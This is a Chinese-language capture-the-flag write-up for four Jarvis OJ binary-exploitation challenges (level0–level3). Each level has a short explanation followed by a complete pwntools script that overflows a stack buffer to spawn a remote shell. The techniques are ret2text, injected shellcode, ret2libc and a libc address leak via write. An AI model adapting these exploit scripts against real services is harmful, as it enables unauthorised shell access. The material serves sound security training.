Jarvis OJ---level0~3

level0

用64位IDA打开之后,function函数之中的read函数存在栈溢出漏洞,栈空间大小只有0x88,而读取的数据是0x200,而且本程序之中直接调用了callsystem函数,所以我们可以直接利用栈溢出,用hijack的方法,用数据覆盖栈,直接返回到callsystem函数之中。

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level0')
else:
    p = remote('pwn2.jarvisoj.com',9881)

callsystem = 0x0400596
payload = 'a'*(0x80+8) + p64(callsystem)
p.recvuntil('Hello, World\n')
p.sendline(payload)
p.interactive()
level1

同样是一个简单的栈溢出,不同的是这次程序在运行的过程之中会打印出buf的地址,我们查看防护机制之后发现没有开启NX,所以我们可以直接在buf区中插入一段shellcode,然后利用shellcode来打开服务器的shell。

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level1')
else:
    p = remote('pwn2.jarvisoj.com',9877)

p.recvuntil("What's this:")
leak = int(p.recv(10),16)
shellcode = asm(shellcraft.sh())
payload = shellcode + (0x88-len(shellcode))*'a' + 'bbbb' +p32(leak)
p.sendline(payload)
p.interactive()
level2

开启了NX之后,就没有办法直接插入shellcode来执行了,但是我们可以看到程序调用了system函数,所以我们可以通过return2libc来绕过NX,直接传入binsh参数来打开shell

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level1')
else:
    p = remote('pwn2.jarvisoj.com',9878)

system = 0x08048320
binsh = 0x0804A024
p.recvuntil("Input:\n")
payload = 'a'*(0x88+4) + p32(system) + 'bbbb' + p32(binsh)
p.sendline(payload)
p.interactive()
level3

level3之中没有直接调用system函数,这就上升了一个难度,我们需要打开shell,就需要调用系统级的函数system(“bin/sh”),而要调用system,我们就需要获取他的地址,level3之中附带了一个libc库,函数之中也调用了write函数和read函数,所以我们可以直接通过write函数来泄露system函数的地址,利用libc库,从而得到flag

from pwn import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('libc-2.19.so')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level3')
else:
    p = remote('pwn2.jarvisoj.com',9879)

write_got = 0x0804A018
write_plt = 0x08048340
start = 0x08048350
payload = (0x88+4)*'a' + p32(write_plt) + p32(start) + p32(1) + p32(write_got) + p32(4)
p.recvuntil(":\n")
p.sendline(payload)
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))
payload = (0x88+4)*'a' + p32(system) + p32(0xdeadbeef) + p32(binsh)
p.recvuntil(":\n")
p.sendline(payload)
p.interactive()

你可能感兴趣的:(Jarvis OJ---level0~3)